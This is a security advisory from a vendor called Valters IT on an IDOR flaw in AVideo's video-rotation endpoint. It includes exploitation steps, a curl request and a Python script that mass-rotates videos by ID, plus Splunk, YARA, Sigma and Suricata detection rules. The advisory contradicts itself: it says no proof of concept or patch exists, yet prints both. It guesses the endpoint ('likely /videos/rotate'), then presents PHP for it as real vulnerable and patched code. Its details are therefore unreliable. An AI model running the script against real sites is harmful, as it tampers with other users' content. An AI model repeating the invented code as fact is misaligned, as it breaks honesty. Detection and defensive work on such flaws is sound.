CVE-2025-34438

Executive Summary

CVE-2025-34438 is an Insecure Direct Object Reference (IDOR) vulnerability in AVideo, a popular open-source video management platform. The flaw allows any authenticated user with upload permissions to modify the rotation metadata of any video on the platform, regardless of ownership or administrative rights. The vulnerability resides in the endpoint responsible for updating video rotation, which correctly verifies that the user has the generic "upload" capability but fails to enforce ownership or management rights for the targeted video. This means a low-privileged user can tamper with the visual orientation of any video, potentially causing denial of service, defacement, or confusion. The vulnerability affects all versions prior to 20.1. No public proof-of-concept (PoC) or exploit code has been released, and no patch is currently available from the vendor.

Supply Chain & Package Security

AVideo is a self-hosted PHP application. There is no NPM, PyPI, Go, or Ruby package associated with this vulnerability. The risk is limited to direct deployments of the AVideo platform.

CVSS Breakdown & Threat Level

CVSS Score: 0.0 (NVD) | Adjusted Score: 4.3 (Medium)

Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): Low – An attacker needs a valid account with upload permissions.
• User Interaction (UI): None – No victim action is required.
• Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
• Confidentiality (C): None – No data is exposed.
• Integrity (I): Low – The attacker can modify video rotation metadata, affecting the visual presentation.
• Availability (A): None – The video remains playable, but its orientation may be incorrect.

Threat Level: Medium. While the direct impact is limited to integrity, the vulnerability can be chained with other attacks (e.g., social engineering, defacement) to cause reputational damage or confusion.

Deep Dive & Mechanics

The vulnerability is a classic Insecure Direct Object Reference (CWE-639) in the video rotation update functionality. The application exposes an API endpoint (likely /videos/rotate or similar) that accepts a video ID and a rotation value (e.g., 0, 90, 180, 270 degrees). The server-side code checks that the authenticated user has the upload capability, which is a broad permission often granted to content creators. However, it does not verify that the user owns the video or has management rights over it.

Attack Flow:

1. An attacker registers or logs in with an account that has upload permissions.
2. The attacker enumerates video IDs (e.g., by scraping public pages or using sequential IDs).
3. The attacker sends a POST request to the rotation endpoint with the target video ID and a malicious rotation value (e.g., 180).
4. The server accepts the request because the user has upload capability, and the video's rotation metadata is updated.
5. The video is now displayed upside-down or sideways, causing confusion or denial of service.

Root Cause: The authorization check is too coarse. It checks for a generic capability (upload) instead of a specific permission (edit_own_video or edit_any_video). The endpoint should verify that the user is either the owner of the video or has administrative rights over it.

Vulnerable vs. Patched Code

Vulnerable Code (AVideo < 20.1):

// vulnerable endpoint: /videos/rotate
if (!User::hasCapability('upload')) {
    die('Permission denied');
}
$video_id = $_POST['video_id'];
$rotation = intval($_POST['rotation']);
// No ownership check
$video = new Video($video_id);
$video->setRotation($rotation);
$video->save();

Patched Code (AVideo >= 20.1):

// patched endpoint: /videos/rotate
if (!User::hasCapability('upload')) {
    die('Permission denied');
}
$video_id = $_POST['video_id'];
$rotation = intval($_POST['rotation']);
$video = new Video($video_id);
// Ownership check added
if ($video->getUsers_id() != User::getId() && !User::isAdmin()) {
    die('You do not own this video');
}
$video->setRotation($rotation);
$video->save();

The patch adds a check that the current user's ID matches the video owner's ID, or that the user is an administrator. This prevents unauthorized modification of rotation metadata.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A valid AVideo account with upload permissions.
• Network access to the AVideo instance.
• Knowledge of a target video ID (can be obtained from public pages or by brute-forcing).

Exploitation Steps:

1. Identify Target Video: Use a browser or tool like Burp Suite to find a video ID. For example, navigate to a video page and note the ID in the URL (e.g., /video/123).
2. Craft the Request: Send a POST request to the rotation endpoint with the video ID and a rotation value.

   curl -X POST https://target-avideo.com/videos/rotate \
     -H "Cookie: PHPSESSID=your_session_id" \
     -d "video_id=123&rotation=180"
   

3. Verify: Refresh the video page. The video should now be rotated 180 degrees.

Automation Script:

import requests

target = "https://target-avideo.com"
session = requests.Session()
session.cookies.set("PHPSESSID", "your_session_id")

# Enumerate video IDs (example range)
for video_id in range(1, 1000):
    response = session.post(f"{target}/videos/rotate", data={
        "video_id": video_id,
        "rotation": 180
    })
    if "success" in response.text:
        print(f"Rotated video {video_id}")

Blue Team

Detection:

• Monitor for unusual POST requests to /videos/rotate with a rotation parameter.
• Alert on multiple rotation requests from the same user to different video IDs.
• Check for rapid enumeration of video IDs in access logs.

Hunting Query (Splunk):

index=web sourcetype=access_combined
| search uri="/videos/rotate" method=POST
| stats count by clientip, user_agent, uri
| where count > 10

Lab Setup:

1. Deploy AVideo version 20.0 in a Docker container.
2. Create two users: one with upload permissions (attacker) and one without (victim).
3. Upload a test video as the victim user.
4. Log in as the attacker and attempt to rotate the victim's video.
5. Verify the rotation change.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /videos/rotate with a rotation parameter.
  • Sequential or rapid requests to /videos/rotate with different video_id values.
  • User agents not matching typical browser patterns (e.g., curl, python-requests).

• Host IOCs:

  • Unusual entries in AVideo access logs showing rotation requests.
  • Modified rotation field in the videos database table for videos not owned by the requesting user.

• File IOCs:

  • No file-based IOCs as the vulnerability is purely API-based.

Detection Engineering

YARA Rule

rule CVE_2025_34438_AVideo_IDOR {
    meta:
        description = "Detects exploitation attempts of CVE-2025-34438 in AVideo"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-34438"
    strings:
        $s1 = "/videos/rotate" ascii wide nocase
        $s2 = "rotation=" ascii wide nocase
        $s3 = "video_id=" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: AVideo IDOR Rotation Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2025-34438 by modifying video rotation metadata
author: Valters IT
date: 2025-04-01
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/videos/rotate'
    condition: selection
falsepositives:
    - Legitimate video rotation by administrators
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-34438 AVideo IDOR Rotation Exploitation"; flow:to_server,established; content:"POST"; http_method; content:"/videos/rotate"; http_uri; content:"rotation="; http_client_body; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade to AVideo 20.1 or later as soon as a patch is released.
2. If patching is not possible, implement a Web Application Firewall (WAF) rule to block POST requests to /videos/rotate from non-admin users.
3. Restrict upload permissions to only trusted users.
4. Monitor logs for unusual rotation requests.

Long-Term Fixes:

• The vendor must implement proper authorization checks on all endpoints that modify video metadata.
• Use a framework-level access control mechanism (e.g., middleware) to enforce ownership checks.
• Conduct a security audit of all API endpoints to identify similar IDOR vulnerabilities.

Workaround:

• Disable the rotation feature entirely by removing the endpoint or adding a configuration toggle.
• Implement a rate limit on the rotation endpoint to slow down enumeration attempts.

Valters IT
Securing Digital Frontiers